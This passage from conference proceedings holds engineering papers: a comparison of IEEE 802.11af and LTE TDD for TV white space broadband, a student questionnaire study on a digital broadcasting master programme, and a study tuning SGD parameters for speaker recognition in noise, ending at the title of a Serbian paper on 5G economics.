Standardization of the technology and the equipment is always a pre-requirement for wide adoption of the solution in the market. LTE has been standardized within 3GPP [2] and ETSI [21]. IEEE 802.11af has been standardized within IEEE [22], including technology, coexistence and dynamic spectrum access. IEEE has standardized previously IEEE 802.22 [23], another technology intended for deployment in TV band. Having more than one standard produced by IEEE caused in previous period market to be more reserved in deploying TVWS solutions. It had certain drawbacks in total amount of equipment produced and consequently the price. We expect that standardization will go further and that LTE TDD TVWS solutions will be better standardized and widely adopted for TVWS solutions due to precise specifications that are part or based on existing cellular technology standards.

Simplicity of installation of both technologies is relatively the same. End user devices are self-installed. It means that they could be pre-configured. We find that will future standards development, end users will not see the difference from the perspective of installation complexity.

TVWS devices could be considered as a small market comparing to cellular technologies. It is still in regulations phase and such regulatory ambiguities and lack of global standardization and compatibility limit the potential of the TVWS market. As in any other market, key for success is the deployment price per user. Due to large scale of production and more popular standard, LTE is seen as a better candidate regarding the price of end user devices and base stations. IEEE has produced in previous year more than one standard intended for TV band thus segmenting the market with different, low volume sets of equipment. As a consequence, IEEE 802.11af and IEEE 802.22 equipment is more costly to use comparing to LTE equipment, especially when end user devices are compared. One of the possibilities to lower deployment costs for IEEE 802.11af is to combine them with IEEE 802.11g/n/ac devices. In this scenario, IEEE 802.11af devices are used in point to multipoint network where TVWS connection serves as backhaul to regular Wi-Fi connection that distributes Wi-Fi signal further to end users. In this case, end users are not required to have IEEE 802.11af based device and they can use their smart devices (phones, tablets, laptops etc.) to connect to the network. What would be most cost efficient will depend from scenario to scenario but we can assume that TDD LTE will be more cost effective in urban and suburban areas while IEEE 802.11af will be more efficient in rural areas where it will be used to provide "islands" of Wi-Fi connectivity in remote communities.

3. SIMULATION SCENARIO

In order to compare most common deployment scenarios for IEEE 802.1af and TDD LTE systems, simulation has been performed in Wembley area, on the North-West from central London area. Area limited by Edgware, Stanmore, Wealdstone, Kingsbury and Colindale with total surface area of 50m² has been analyzed for coverage. This area could be treated as urban area, with buildings of several stories height and residential houses that usually have one or two stories.

Simulation has been performed using digital terrain model (DTM) with horizontal resolution of $5m \times 5m$ and vertical resolution of 2m. Clutter has been used with losses and heights for each of 10 classes used. Clutter covers from rural layer to dense urban (urban with 50m tall buildings).

Simulation has been performed using 10 base stations of each technology in order to provide coverage to the abovementioned area. As per [16, 18], heights of TVWS base stations (for both technologies) have been set to 20m. Transmission power has been set to different ranges, starting from 25dBm EIRP to 35dBm EIRP. User terminals were set to height of 1.5m for indoor reception (most common for TDD LTE) and to 10m (most common for IEEE 802.11af) as outdoor unit with outdoor antenna located at the top of the roof with 20dBm EIRP.

For TDD LTE, maximum number of users per base station (small cell) has been set to 32, which is current limit in commercially available equipment. For IEEE 802.11af CTS/RTS mechanism has been activated. In order to have same conditions, both technologies were set to 5MHz wide radio-channel.

Additional comments and analysis have been performed for IEEE 802.11af for 8MHz wide radio-channel. Other radio channel bandwidths haven't been analyzed due to assumed limited spectrum in urban areas. It was assumed that 20MHz (3 TV channels) of continues spectrum is not available in urban area thus simulation with TDD LTE and the maximum radio-channel bandwidth haven't been conducted. As per [20], up to 5 TV channels are available for TVWS deployment in almost 90% or area with small transmission powers, but they do not need to be consecutive and bundling them and performing frequency planning on such bundled channels might be a challenge. Propagation model has been set to ITU recommendation P.1546-5 [24].

In order to make comparison between deployment in urban and suburban and rural area, additional coverage analysis has been performed for the area surrounded by Crowborough, Haywards Heath, Lewes, Eastbourne and Hastings where TVWS coverage has been provided from the TV tower located in the Heathfield area. Transmission power has been set to maximum 36dBm EIRP with end user terminal configured as outdoor unit with directive antenna with 6dBi gain and 35 EIRP. Base station antenna has been set to 40m and end user antenna has been set to 10m above ground level. Unused part of TV spectrum has been used for TVWS signal transmission. One TV channel 8MHz wide, close to 550MHz, has been used to provide coverage to the area. This area is characterized by rather low mobile data throughput that is mostly limited to 1Mb/s to the end user.

In Fig. 1, coverage achieved in the London urban area using IEEE 802.11af based TVWS devices has been presented. End users are assumed to use directional antennas positioned at 10m height above ground level.



Fig. 1. Downlink coverage in the urban London region using IEEE 802.11af based devices.

In limit computation time, analysis range has been limited to 10km from each location. It can be seen that the area of interest has been covered with signal level above the sensitivity level of devices. All TVWS base stations have coverage range which is from 4.5km (BTS marked as TVWS 1) to over 5km (TVWS 3). It can be seen that there is certain coverage achieved beyond 5km range but such coverage is achieved on the rooftops of higher buildings, not for lower or even indoor positioned antennas and terminals. IEEE 802.11af BTSs transmit with 35dBm EIRP while end users are transmitting with 20dBm EIRP.

Coverage achieved by LTE TDD based TVWS BTSs has been presented in Fig. 2.



Fig. 2. Downlink coverage in TVWS network based on LTE TDD devices.

End users are assumed to use indoor devices at the height of 1.5m with 20dBm EIRP. Standard clutter propagation losses due to a wall or window penetration are 10dB and 6dB respectively. LTE TDD BTSs transmit with 25dBm EIRP. It is obvious that, with indoor positioned end user terminals, coverage is smaller and requires larger

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number of BTSs to achieve same level of coverage. Nevertheless, the range of an LTE TDD cell was from 3.5km to 5km which is similar to the range of a cell when IEEE 802.11af BTS is used. It shows that with lower power LTE TDD could achieve similar cell coverage. It can be easily explained by the fact that LTE TDD uses more advanced coding that IEEE 802.11af in the physical layer.

Reference Signal Received Power (RSRP) for the LTE TDD network was in the range from -105dBm to -57dBm with standard deviation of 9.5dB and median value of -80dBm.

On the other side, IEEE 802.11af has been designed for uncoordinated deployment. As such, it has all necessary mechanisms related to interference control that LTE TDD doesn't possess. It deploys CSMA which is natively designed to cope with interference in unlicensed spectrum. There has been a significant research conducted in order to optimize performance and maximize throughput in IEEE 802.11 networks [25, 26].

Radio link availability analysis has been performed for both technologies. Reliability for TVWS network based on IEEE 802.11af devices is in the range from 98.34% up to 100% in different distances from the BTSs, in the area of interest. For LTE TDD, in the area of interest in the London, it is only up to 98% with certain parts of the area with very low probability. It can be easily explained as LTE TDD, due to low power in the simulation doesn't achieve to cover complete area of interest in London.

Throughput per area has been simulated as well. In the case of IEEE 802.11af based network, there are overlaps in coverage of neighboring cells thus nomadic mobility and BTS roaming could be enabled in the network. On the other side, in the case of LTE TDD, due to lower power and indoor end users' terminals, there is no coverage overlaps between the cells. In the case of LTE TDD, minimum throughput achieved is approximately 4.3Mb/s per area and on the average around 5.5Mb/s. Available throughput per area for IEEE 802.11af is much bigger due to cell overlap, higher transmission power which allows higher order modulations to be used, comparing to LTE TDD, especially in shorter distances from the sites. Available throughput per area for IEEE 802.11af based network has been presented in Fig. 3.

As it was assumed during the simulation that at least 5 TV channels are available (based on scenarios described in [20]), it was assumed during the simulation process that number of available TV channels is not a limiting factor.

In the case of a rural environment, Fig.4, achieved cell range is close to 9km, for IEEE 802.11af BTS with

35dBm EIRP and user terminal operating at the same power level. End user antenna is at 10m above ground level (AGL) which is above rooftops in the case of the rural environment. BTS antenna is installed in the TV tower at 40m AGL.



Fig. 3. Throughput per area from IEEE 802.11af based network.



Fig. 4. Example of TVWS cell coverage in rural UK.

Only one TV channel is used and available channels have been determined analyzing used channels for TV broadcasting in the region, from the used TV tower and neighboring towers.

Although the range is much longer that in urban environment, such range is not applicable for point-tomultipoint (PtMP) connectivity, due to inefficient protocol adopted in IEEE 802.11af. CSMA and time windows adopted to avoid transmission collision are inefficient in such distances and it could be concluded that in such ranges point-to-point connections are achievable or IEEE 802.22 should be used as having protocols that would allow PtMP connectivity in longer distances.

4. FINANCIAL IMPLICATIONS

TVWS has been seen as a cheap alternative to existing wireless broadband services. It is no longer interesting exploring underserved population in countries with very poor telecommunication infrastructure but it is also interesting to compare adoption of TVWS networks and services in developed countries with good telecommunication infrastructure. It is obvious interest to explore possibilities to provide wireless broadband connectivity to underserved population and to different types of businesses. It is also interesting to explore possibilities to provide additional solutions for Internet of Things (IoT) connectivity and other machine-to-machine (m2m) connections.

In order to be seen as a candidate, TVWS solutions have to be cheap enough to be deployed in different scenarios that sometimes require mass adoption. Obviously, LTE TDD is seen as a better candidate due to technology that is standardized and adopted as a part of 4th generation standard of mobile communications. This would assure high production volumes if there is a demand and easier device interoperability. Although IEEE 802.11af could be described as scaled IEEE 802.11ac, it hasn't attracted enough of attention to achieve significant production levels.

As there is very limited number of small form factor user devices for IEEE 802.11af, LTE TDD is seen as a better candidate for the deployment where large number of end users is expected. Alternative is to use IEEE 802.11af where end user terminal is in the role of Wi-Fi access point (AP) or serves as a backhaul device to the Wi-Fi AP. Even smaller coverage range that was presented, due to selected scenarios, doesn't marks LTE TDD as more expensive solution. On contrary, due to cheaper end user devices and BTSs, even as twice as smaller coverage comparing to IEEE 802.11af, still makes LTE TDD more cost efficient solution.

5. CONCLUSION

Both IEEE 802.11af and LTE TDD could be used in order to deploy broadband wireless network at TV band, if radio spectrum is available. Due to very low RSL for TV units, TVWS devices, no matter of technology, are not seen as good candidates for operation on the secondary spectrum user basis. As per simulation in the urban London area, signal levels with-80dBm on average and down to -105dBm are still considerably high and above the minimum sensitivity levels of TV units. The achieved range of several kilometers in urban area for the cell range is more than adequate. If 4Mb/s is assumed as a minimum for video content streaming, Internet browsing and social networks activity, it can be concluded that end users could use basic broadband services in the selected environment. It could be concluded, due to limited spectrum, that cell ranges from 1km to 1.5km would be optimal for deployment in urban environment.

IEEE 802.11af has been well prepared for interference mitigation and operation in license free while LTE TDD will require certain improvements for operation in TVWS. Nevertheless, LTE TDD could be seen as a better candidate regarding capital and operations expenditures, equipment prices and easiness of installation in the case of mass deployment. It was demonstrated that IEEE 802.11af can serve as backhaul solution and the solution in rural environments with small number of users that require high transmission power, long range and moderate data rates for basic connectivity.

Based on the concluding remarks, it can be concluded that LTE TDD, with certain modifications, could be considered as a better candidate for deployment in TVWS.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ELECTRONIC COMMUNICATIONS AND DIGITAL BROADCASTING SYSTEMS

PROBING OF STUDENT POPULATION ATTITUDE TOWARDS CONTENT OF DBBT MASTER STUDY AS AN INDICATOR OF TRENDS IN IT LABOR MARKET

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Abstract:

Advances in IT technology inspired us to broaden McLuhan rule "the medium is the message" and to propose that permanent availability of smartphone is a new medium. All smartphone medium aspects heavily influence user habits which shapes their attitude to IT technology and, hence, to IT labor market. To make a preliminary test of such views, we constructed and carried out a questionaire among future students of DBBT (Digital Broadcast Broadband Technologies) Master programme of study, within the project Erasmus+. Our findings, extracted from two student groups, indicate prominent features which should be taken into account when assessing trends in IT labor market. We confirmed our findings by the third - control group of students.

Keywords:

questionarie, labor market, McLuhan, multimedia.

1. INTRODUCTION

A student of today is an employee of tomorrow - a trivial truth but a very important relationship, since present attitude of a student towards forms and contents delivered by and through IT gadgets would determine his future attitude towards offers on IT labor market. We aim to elaborate on (and examine) such a relationship in this paper.

Taking the medium or presentation aspect of IT technology one can say it is determined by itself - because it influences and even shapes user perception and IT habits.

Considering the forms by which television and computer present information, Marshall McLuhan had formulated the famous and prophetic remark "the medium is the message" [1]. Today, it is more than a remark - it is also a warning. A common user, being dominated by its vision for over 95% of the whole sensory input, is fully accustomed to visual sensations, treating it as something quite natural. In other words, it usually does not notice the act of seeing. So its vision is an open door to visual form of information which it receives through screens, displays etc. In some better case, a user is not aware that the very visuality of the message is some sort of a message, similarly as graphicality of newspapers or soundness of the radio. We can say it is an additional message in the message itself.

Aside from the visually dynamic form of presented messages, TV provides a passive steaming of (visual) messages. The nature of TV as a

medium is enhanced by the fact that a new (piece of) message arives almost instantly after the preceding one, not even allowing the subject to interpret or process it, since the visual influx overwhelms the capability to think about the content. This phenomenon we can an additional dimension of TV medium.

Smartphone is a combination of a computer, with visual appliance to communicate with the user, TV set and, finally, a phone.

Computer ability involves interaction with user-smartphone, which is a completely new medium, despite the fact that it communicates to the user through a visual display. Since it is a very complex phenomenon, we will elaborate on it in future papers.

Here we want to point out another medium aspect of a smartphone, which means a new message within the presented message.

It is the mobility of smartphone or, more precisely, its availability at any moment. It is pretty different comparing to conventional TV. A user must be present in front of a TV set to watch a TV programme. Although it is able to switch channels (programs), it does not influence or change the presentation capabilities of the TV itself. But the feature "mobility = availability" adds a new opportunity which means quite a different dimension of visual presentation on the smartphone display.

All preceding aspects of basically visual medium inevitably influence user habits and shapes its style of using it. Here, and always, we must remember the striking quote "We shape our tools and afterwards our tools shape us" [2], obviously inspired by M. McLuhan work.

Having all previous issues in mind we decided to carry out research to examine the validity of our observations. Methodology, at the beginning, included student population as a test sample and questionnarie as a probing method.

We considered that students of technical disciplines, which were chosen as samples, and among that, of electrical enginnering, informatics and computing, are pretty representative for such purpose.

2. FEATURES OF STUDENT SAMPLE POPULATIONS

The size of the sample, i.e. population of students, which was examined in this work, is 89 in total when Faculty of Technical Sciences in Kosovska Mitrovica (FTNKM) is regarded. The structure of the sample, in respect to the study profile, which we consider as an important feature, is given in Table 1,

Table 1				
SPM	ET	CI	EN	TNoS
NoS	23	48	18	89

where: SPM stands for Study Programme Module, ET - Electronics&Communications, CI -Computing&Informatics, EN - Electroenergetics, (T) NoS - (Total) Number of students.

The questionnaire was held on September 19-22, 2016.

Another aspect of population, which would be significant for this examination, is the study year (SY) distribution of student population, over all study profiles, is given in Table 2.

Table 2					
SY	Ι	II	III	IV	I-IV
NoS	30	16	28	15	89

We gave a similar survey for the sample student population in the Higher Technical Professional School in Zvečan (HTPSZ), which also participated in the questionnaire. The student population sample profile is given in Table 3,

Table 3						NoS/Y
SPM	MEE	EN	РМ	ITE	OP	
SYI	1	1	4	4	15	25
SYII	0	3	3	1	13	20
SYIII	0	2	2	5	7	16
NoS/P	1	6	9	10	35	61

where: MEE - Management of Electrical Engineering, EN - Electroenergetics, PM - Production Management, ITE - Information Technology Engineering, OP - Other study programmes, NoS/Y(NoS/P) - Number of Students per Year (per Study Programme).

3. PREPARATION OF QUESTIONNAIRE

Preparation Methodology

In order to attain as intrinsic results as possible, we created a questionary which was apparently related to a new DBBT master study programme, in the frame of ERASMUS+ project, intended to acreditation. Aside from the recommendations for making the questionnaire, [3], [4], [5], our questions were formulated so as to have two layers, the surface one, which respected the DBBT master study module itself, and a hidden one, which would reflect our research intention to detect the mode of student population which we could withdraw some correlations for IT labor market from.

The preparation of questions was obviously based on estimated features of population samples and aimed at expressing students' attitude to medium characteristics as explained previously.

Populations (profiles, motivation, conditions of study - 3 or 4 years) were different, the fact they entered the school already qualifies them in the aspect of readiness.

Therefore, questions for different populations on FTNKM and on HTPSZ are pretty similar despite the fact the populations are different, either in respect of offered study profiles at both HEI (High Education Institutions) or expected mode of study (e.g. duration of study).

Questions, answers and data

Here we presented all questions to illustrate our idea of two-layered formulation. Above that, the whole questionnaire is two-layered so as to attain the general effect.

We did not pay attention to the order of questions, in the sense that the answers would depend on the question sequence. Maybe such an effect is worth considering for a more numerous population, and it is left for further research.

The question order, 1, 2, 3, 4, 5, 7, 8, 10 and the questions itself, were the same in FTNKM and in HTPSZ. The rest were formulated and positioned differently, as we have shown below.

The offered answers were gradual, in order to extract as much information as possible. For the sake of compactness, in this paper they are presented in tables as abbreviated labels, and equalised with offered answers in the HTPSZ questionnaire, which was formulated in a different way (see Table 4).

Table 4	offered answ	ers
Abb	FTNKM	HTPSZ
no	no	not interested at all
pn	partly no	neither interested nor disinterested
mb	maybe	partly interested
ру	partly yes	interested
Yes	yes	completely interested

Answers offered using a scale were had the purpose to unify the answers in order to facilitate merging of both populations in the processing of results.

In order to present questionnaire statistics so as to provide an appropriate appearance for an effective survey and analysis, we derived shortened versions of questions, to be put into the table and to remind the analyst of the full question formulation. All shortened versions are given below.

Q1. (the first question) Would you like to learn how to work with the audio and video equipment in the multimedia HDTV studio? (for short in Table 6: work in TV studio)

In Table 5 we present answer statistics only for this question

Table 5answers stat for Q1 "work in TV studio"						
%	no	pn	mb	ру	yes	
FTN	4	1	15	28	52	
HTPSZ	6,6	11,5	27,9	26,2	27,9	

Q2. Are you interested in participating in a project which is immediately applicable in practice? (project in practice)

Statistics for Q2 is given in the main table, Table 6, as well as for other questions.

Q3. Would you like to learn how to film a TV content, how film material is edited, visual effects created, TV formats produced? (make TV, flim)

Q4. Are you interested in learning how to produce earth and satellite radio and HDTV signal transfer, through text, audio and visual explanations and through adequate software and laboratory exercises? (signal transmission)

Q5. Are you interested in how *mobile* TV functions, through explanations and laboratory demonstrations? (mobile TV functioning)

Q7. Are you interested in learning and acquiring practical experience in sound processing in laboratories? (sound processing)

Q8. Would you like to learn and acquire practical experience in image and video content processing? (image video processing)

Q10. Are you interested in performing professional practice or writing your thesis in a company which specializes in the area of the specialist professional study programme that you have completed? (thesis/practice)

Questions which appeared only in HTPSZ questionnaire are:

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Q6-H. Are you interested in the specialist professional studies where practical application of tools in producing a TV content is learned? (tools in TV production)

Q9-H. Are you interested in learning how to measure the strength and the quality of the emitted signal and admission signal? (signal measurement)

Questions which appeared only in FTNKM questionnaire:

Q6-F. Are you curious to understand how IP phone or IPTV work? (work of IP phone/IPTV)

Q9-F. Are you interested in master studies where you develop applications for smart TV, Android, computer games? (Android applications, games)

Table 6 answer statisti	ics in %	6 (FTN	N/ HPS)		
question / answer	no	pn	mb	ру	yes
work in TV studio	4/7	1/11	15/28	28/26	52/28
make TV, flim	4/2	5/16	11/20	17/34	63/28
image, video processing	5/0	3/12	20/21	18/38	54/29
signal transmission	4/3	6/15	17/38	21/26	52/18
mobile TV functioning	2/5	5/16	20/26	20/23	53/30
thesis/practice	1/0	0/2	18/21	18/36	63/41
project in practice	5/0	3/7	15/31	29/33	48/29
sound processing	5/3	11/3	31/26	17/44	36/25
work of IP phone/IPTV	1/-	1/-	10/-	38/-	50/-
Android apps, games	3/-	1/-	15/-	11/-	70/-
tools in TV production	-/0	-/10	-/33	-/30	-/28
signal measurement	-/3	-/16	-/33	-/25	-/23

4. ANALYSIS OF RESULTS

The Table 6 speaks for itself showing that students are more (mostly) inclined toward more visual than brain tedious activities, in the visually dominant mode of information presentation. One should not oversee an important factor which influences, or to put it better, determines such an attitude: long-term influence of GUI, with its main goal to restrain user memory and brain engagement during interaction, to govern the user by graphical elements presented on display, which reminds the user step-by-step what to do.

Our conclusions are confirmed by another questionnaire, conducted at The School of Electrical and Computer Engineering of Applied Studies (Belgrade), which served as the control sample, involving 56 students. Questions were formulated more explicitly and the offered answers were binary (yes/no). In the following we quote the questions and percentage of binary answers.

Would you enroll in two-year master studies of audio and video technologies? (yes 91%; no 10%)

Would you enroll in AVT master studies whose program would comprise more technical courses and mathematics? (yes 47%; no 53%)

Would you enroll in AVT master studies whose program would comprise more art courses? (yes 89% ; no 11%)

Would you enroll in AVT master studies whose program would comprise more humanistic courses of journalism and production? (yes 65%; no 35%)

Would you enroll in AVT master studies which program would comprise more humanistic courses of journalism and production? (yes 65%; no 35%)

Would you enroll in AVT master studies which program would be multidisciplinary and comprise technical, art and humanistic courses of journalism and production of digital media? (yes 72%; no 28%)

Would you enroll in the master studies, exclusively oriented to technical and engineering courses? (yes 49% ; no 51%)

Would you enroll in the master studies, exclusively oriented to art courses? (yes 75% ; no 25%)

Methodologically speaking, the control group in Belgrade may seem as inappropriate because of different regional conditions which affected the education process during schooling.

But for the purposes of this investigation the chief factors which determine profiling of population are influence of GUI and smartphones (at least for last two years) for which a simple estimation confirms to be the same. The second level factors are also very similar since these student populations (from Kosovska Mitrovica and Belgrade) were exposed to equal conditions during their undergraduate studies, within similar study programmes.

5. CONCLUSION

In this research we started with a moderate aim to find some correlations between attitude towards IT technology in student population and their expected readiness to accept certain forms on IT labor engagement. Although (available) sample sizes were moderate in respect to carefully constructed questionnaires we think we reached valuable data and confirmed what we had expected. Here it is not the question whether today's students will be not accept some labor market offers and work profiles. They will certainly accept them after all, because they need to earn their living.

But we aimed to find out which labor forms and profiles they would accept more readily or promptly in accordance with their intimate wishes, which would motivate them to perform better. Motivation is another name for work effectiveness.

These preliminary results would spur us to continue, broaden and refine our further research and investigation.

Another direction of further research is our proposal to treat non-obvious aspects of smartphone as medium and to find methodology on how to examine its essence and ways in which it influences the user.

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OPTIMIZATION OF THE SPEAKER RECOGNITION IN NOISY ENVIRONMENTS USING A STOCHASTIC GRADIENT DESCENT

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Abstract:

Noise-robust speech recognition system is still one of the ongoing, challenging problems, since these systems usually work in the noisy environments, such as offices, vehicles, airplanes, and others. Even though deep learning algorithms provide higher performances, there is still a large recognition drop in the task of speaker recognition in noisy environments. The proposed system is tested on VIDTIMIT dataset in the presence of Additive White Gaussian Noise changing the Signal-to-Noise Ratio levels. The experimental results show how the optimization of Stochastic Gradient Descent algorithm parameters such as learning rate and dropout rate, can improve the performance of speech recognition in both noisy and less noisy environments.

Keywords:

Speech recognition, deep neural network, stochastic gradient descent, noise environments.

1. INTRODUCTION

The important issues in Automatic Speech Recognition (ASR) are dealing with environmental noise (such as car engine, traffic noise, white noise, crowd noise, etc.), and speech signal variations caused by modifications of articulation (that can be found in the speakers' pitch, intervals of silence, high-energy vowels of various lengths and others) [1] [2]. Up to now, speech recognition systems are designed to work in controlled environments using clean speech and so far have reached high levels of performance [3]. However, if these systems are exposed to noisy environments then their performance degrades rapidly. Due to the increasing use of user-centric applications (such as voice interractions with mobile devices like Bing voice search, Siri on iPhone, etc.) noise robust systems are becoming an increasingly important technology [4] [5].

There are several techniques for speech recognition in noise:

- Noise resistance features and similarity measurement technique

 focus on the effects of noise on the speech signal rather on the
 noise removal with the attempt to derive features which are noise
 resistant;
- Speech enhancement technique attempt to remove the corrupting noise from the speech signal without changing the parameters of the acoustic model [6];

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e-mail: ashraf8259@yahoo.com • Model adaptation technique - the statistical modeling techniques are trained using clean speech and then are adapted to noisy speech.

The common technique used for acoustic modeling in ASR systems is a combination of Hidden Markov model (HMM) for modeling the sequential structure of the speech signal, and Gaussian Mixture Model (GMM) for modeling the acoustic representation of features extracted from the signal. However, this approach is easily affected by speech variations in daily conversations and it is particularly sensitive to the mismatch introduced by environmental noise [7]. The development of deep neural network (DNN) algorithms has overcome the gap, and demonstrated striking performance improvements.

The fundamental architecture across DNN systems is a network that consists of several hidden layers of connected neurons whose activations are a nonlinear function of a linear combination of the previous layer activations. The most used hidden neuron activation function is the sigmoid function, however, in this paper we are using the Rectified Linear Unit (ReLU). Compared to the sigmoid, it is found that ReLU greatly accelerate the convergence of stochastic gradient descent, since the activation is simply threshold at zero [8]. Networks with such function are often trained with the dropout regularization technique for improved generalization of large models [9]. The final layer usually does not have an activation function, because the last layer is taken to represent the class scores which are either real-valued numbers or a target. Gradient descent learning algorithms minimize Neural Network loss functions in a way that iteratively compute the gradient on the weights and use them to perform a parameter update at every step. Parameter update requires a setting of the learning rate to an appropriate value. If the learning rate is too low then the algorithm will have many iterations to converge to the optimal values, and if it is too high the progress can be faster, but with a risk to skip optimal solution. Since Gradient Descent learning algorithms estimate the gradient on a large dataset (batch), performing redundant computations (as recomputed gradients for similar examples before each parameter update), the Stochastic Gradient Descent (SGD) is usually much faster because it estimates the gradient from just a few examples at a time instead of the entire training set. Mini-batch SGD takes the best of the both and performs an update for every mini-batch that is usually between 50 and 256. In this paper, the mini-batch size is set to 100.

This paper basically focuses on the improvement of speaker identification in noisy environment using DNN with SGD. We analyze how different combinations of its parameters, such as learning rate and dropout rate, influence ASR performances when different noise levels are applied to original speech signal. The remainder of the paper is structured as follows: Section 2 summarizes related works in the area of noise robust speech recognition systems using DNN. In Section 3 research method is given. The experiments and results are described in Section 4, followed by conclusion in Section 5.

2. RELATED WORK

There are few research works that deal with the robustness of ASR systems within noisy environments using DNN. Kumar et al [6] studied speech enhancement in office environment conditions where multiple noises can be simultaneously present in speech. They collected 95 noise samples observed in office environments that were then mixed and added to the clean utterance of TIMIT training set at a random SNR (signal-to-noise ratio) chosen uniformly from -5dB to 20dB. Their results show that DNN based strategies provide an average PESQ (Perceptual Evaluation of Speech Quality) increment of 24%.

In order to evaluate the performance of the acoustic model based on DNN, Seltzer et al [7] performed a series of experiments on the Aurora 4 medium vocabulary task that is based on the Wall Street Journal corpus. The 7137 utterances recorded from 83 speakers consist of clean speech and speech that is corrupted by one of the six noises (restaurants, cars, street traffic, trains, airports, and babbles) at 10-20dB SNR. The best performance that they obtained was with the improvement of 7.5%.

Mitra et al [10] showed that vocal tract length normalization in DNN and CNN acoustic models, for a noisy English continuous speech recognition task of Aurora4, can improve the performance compared to the mel-filterbank energies.

De-la-Calle-Silos et al [11] tested the robustness of the different hybrid DNN-based ASR systems by digitally added four different types of noises at four different SNRs, to the clean speech. The experiments, performed on the TIMIT corpus, show improvement in the recognition accuracy over traditional techniques in both clean and noisy conditions.

Noda et al [12] demonstrated that the deep denoising autoencoder can effectively remove the noise. Misamadi et al [13] explored DNN acoustic model adaptation in order to achieve improved noisy robust ASR systems. They adapted the clean-trained DNN model to speech data selected from Aspire challenge data. The experiment uses 10 folds, with a mini-batch size of 256, and a learning rate of 0.001. They obtained relative word error rate (WER) improvement of 16%.

Kim et al [14] proposed a noise adaptation framework that employs knowledge of the background noise and learns the low-dimensional noise feature from the trained DNN. They trained the model using datasets, RM (Resource Management), and CHiME-3, and then tested it with Aurora4 task. They verified the effectiveness of their proposed noise adaptation approach in which trained DNN dynamically adapts the speech recognition system to the environment in which it is being used.

In our previous work [15], we observed the speech recognition performance when optimizing the parameters of SGD algorithm. We trained ViDTIMIT dataset in a clean environment and found that the best performance is achieved when dropout rate is 0.1, and learning rate for hidden layers is 0.8, and for input layers is 0.9.

3. DEEP NEURAL NETWORK

The field of deep learning is constantly expanding with new algorithms. There are several different Deep Neural Network algorithms, such as Deep Belief Networks (DBN), Recurrent Neural Networks (RNN), Convolutional Neural Networks (CNN) and others. In this paper we are dealing with a Neural Network algorithm with stochastic gradient descent (SGD) method that is implemented with Rectified Linear Units (ReLU), and dropout functionalities. Since overfitting is the main problem in training deep neural networks, one of the solutions is implementation of input/hidden layer dropout, which drops out random units form input and hidden layers. The parameter called the probability of retaining (p), helps us to control the density of dropout. That means that if the parameter p is higher, then we have less dropouts, and vice versa. This parameter is multiplied with trained weights of neural network, as it is shown in Figure 1.



Fig. 1. Deep Neural Network schema with weights multiplied by probability of retaining [15].

According to the Figure 1, the $\{x^{(i)}, y^{(i)}\}$ represent training dataset values, where *x* is a vector of extrated features; $r^{(i)}$ represents a vector of Bernoulli (*p*) random variables for the *L*th number of hidden units; and *h*(*x*) is decision function. The pseudo code for this algorithm is as follows:

Require: θ, b : Input random variables Require: $\{x^{(i)}, y^{(i)}\}$: training set Ensure: N: Number of labeled samples Ensure: α : Input learning rate Ensure: p: probability of retaining For i=1 to N Compute $r^{(i)} \sim \text{Bernoulli}(p)$ Compute $g(r^{(i)} * \theta^T x^{(i)} + b) = \log(1 + e^{(r^{(i)} * \theta^T x^{(i)} + b)})$ Compute $\Delta \theta_j$ and Δb Update θ and bEnd For

Algorithm 1. A pseudo code for the used DNN algorithm.

According to the pseudo code, another parameter that needs to be set at the optimal level is the learing rate α , which determines how much the weights are adjusted at each update. General advice is to set larger learning rate at the beginning, and then gradually, as the training progresses, to decrease its value.

4. RESEARCH METHOD

In order to find the optimal SGD parameters in the noisy environment, we artificially added the additive white Gaussian noise (AWGN) when Signal to Noise Ratio (SNR) was set to 8dB, 12dB and 16dB. SNR used MATLAB. Therefore, we created four independent databases including original database cleaned from noise. From created databases we extracted 83 state-of-the-art features using signal processing techniques [15]. For the classification, we trained the Deep Neural Network (DNN) with SGD implemented with dropout regularization and Rectified Linear Units. Training was done with 100 training examples in each mini-batch. The different parameters, such as input layer dropout rate, learning rate and hidden layers dropout rate, were analyzed for different values of SNR. The proposed speaker recognition system architecture is shown in Figure 2.



Fig. 2. Automatic speaker recognition system architecture.

5. EXPERIMENTS AND RESULTS

In this paper we used the ViDTIMIT dataset that was comprised of audio recordings of 43 people (19 female, and 24 male). It was recorded in a noisy office environment, usually with computer fan noise in the background. In addition, each person moved their head to the left, right, and up and down.

The dataset was recorded in three sessions on different days, which allows for changes in the voice, mood etc. All sessions contain different phonetically balanced sentences, which were selected from the NTIMIT database. Each person pronounced ten short utterances [16], which lasted around 4.25 seconds per each. The audio is stored as a mono, 16 bit, 32 kHz WAV file. The entire database consists of around 106 video frames.

In this experiment, we show how optimization of parameters in SGD algorithm can improve the performance of speaker recognition for different levels of noise. The values of SNR are changing from 8dB to higher values tending to clean the signal from AWGN. Different curves, in Figure 3, represent the Recognition Rate performance for different learning rates, changing values from 0.1 to 0.9 (with the step of 0.1) for the fixed value of dropout rate.

The "optimal parameters" curve presents the recognition rate with the best performance values, i.e. when learning rate and dropout rate are optimized for each SNR (Table 1).

It is presented that the optimized performance, tuning both values for dropout and learning rates, outperforms other performances when values are not optimized for each SNR value approximately in range from 5% to 7.5%.



Fig. 3. Speaker Recognition rate performance for different SNR levels and different learning rates.

SNR[dB]	8	12	16	Cleaned signal
Learning rate	0.1	0.0	0.7	0.8
Dropout rate	0.1	0.0	0.2	0.1

Table1. Optimal values for learning and dropout rate for different SNR levels.

It is presented that the optimized performance, tuning both values for dropout and learning rates, outperforms other performances when values are not optimized for each SNR value approximately in range from 5% to 7.5%.

6. CONCLUSION

Performance optimization in automatic speech recognition system is still a challenging task especially when different types of noise are present in speech. Lately, deep neural network algorithms show remarkable results in comparison to the other classifiers. However, those algorithms require lots of parameter tunings in different learning tasks.

In this paper, it is shown that the performance obtained by tuning both dropout rate and learning rate parameter significantly improves the speech recognition performance, both in noisy and less noisy environments.

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ELECTRONIC COMMUNICATIONS AND DIGITAL BROADCASTING SYSTEMS

ANALIZA EKONOMSKIH ASPEKATA PRIMENE 5G TEHNOLOGIJE

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Rezime:

